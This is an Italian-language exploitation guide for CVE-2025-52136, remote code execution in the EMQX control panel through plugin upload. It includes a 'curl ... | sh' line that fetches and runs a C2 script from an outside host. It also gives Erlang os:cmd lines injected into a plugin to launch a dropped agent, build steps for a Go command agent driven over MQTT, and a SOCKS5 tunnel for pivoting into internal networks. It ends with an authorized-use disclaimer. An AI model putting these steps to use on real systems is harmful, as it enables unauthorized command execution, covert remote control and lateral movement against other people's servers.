
Exploit per CVE-2025-52136 che abilita RCE sul pannello di controllo EMQX tramite caricamento di plugin, con agente di comando basato su MQTT e tunnel SOCKS5 per C2 out-of-band e pivoting di rete.
https://github.com/ricardojoserf/emqx-RCE
Il metodo di sfruttamento originale carica un plugin EMQX e aggiunge al codice del template del plugin la chiamata al modulo Erlang os per eseguire comandi di sistema e ottenere RCE
In ambienti con accesso in uscita, dove curl è presente di default, è possibile eseguire direttamente curl http://xx.xx.xx.xx/1.sh | sh per stabilire la connessione al C2.
Quando la macchina target non ha accesso in uscita, poiché EMQX è di per sé un server di messaggistica MQTT, è possibile sfruttare il caricamento del plugin per eseguire programmi caricati sul server EMQX. Usando EMQX come core della coda di messaggi MQTT, il programma distribuito agisce direttamente come un "proxy di comandi di sistema": si sottoscrive ai comandi inviati dai client e pubblica i risultati dell'esecuzione sul topic.
+-------------+
| Client |
| Invia comando|
| Topic: rx/cmd|
+------+-------+
|
MQTT Broker (EMQX)
|
+------+-------+
| Proxy comandi |
| Sottoscrive rx/cmd |
| Esegue comando di sistema |
| Pubblica tx/cmd |
+--------------+
go mod init mqtt_agent
go get github.com/eclipse/paho.mqtt.golang
GOOS=linux GOARCH=amd64 go build -o mqtt_agent agent.go
Successivamente, seguendo l'approccio dell'autore originale, aggiungere tre righe a my_emqx_plugin.erl
os:cmd("mv /opt/emqx/plugins/my_emqx_plugin-1.0.0/my_emqx_plugin-0.1.0/mqtt_agent /tmp/mqtt_agent"),
os:cmd("chmod +x /tmp/mqtt_agent"),
os:cmd("bash -c \"/tmp/mqtt_agent\""),
Dopo aver compilato il plugin, utilizzare un qualsiasi strumento di compressione per inserire mqtt_agent nella directory my_emqx_plugin-1.0.0.tar.gz\my_emqx_plugin-1.0.0\my_emqx_plugin-0.1.0\

Caricare il plugin

Successivamente, sul client aggiungere la sottoscrizione al topic tx/cmd e pubblicare sul topic rx/cmd, ed è pronto all'uso

Allo stesso modo, tramite MQTT è possibile aprire un tunnel tra Client ↔ Agent e inoltrare bidirezionalmente i dati TCP attraverso MQTT all'Agent nella rete interna; l'Agent si connette quindi all'host target nella rete interna per realizzare il port forwarding.
Questa soluzione presenta alcuni limiti:
go mod init mqtt_tunnel_agent
go mod init mqtt_tunnel_client
go get github.com/armon/go-socks5
go get github.com/eclipse/paho.mqtt.golang
go get github.com/google/uuid
go build -o mqtt_tunnel_agent mqtt_tunnel_agent.go
//client
GOOS=linux GOARCH=amd64 go build -o mqtt_tunnel_client mqtt_tunnel_client.go
L'utilizzo è simile al processo RCE descritto sopra; qui si usa direttamente la porta locale per creare un tunnel SOCKS5 e inoltrare il traffico.
Il tunnel proxy va compilato e utilizzato autonomamente.
Questo strumento è destinato esclusivamente all'uso in ambienti autorizzati/ambienti di test; è severamente vietato qualsiasi utilizzo illegale.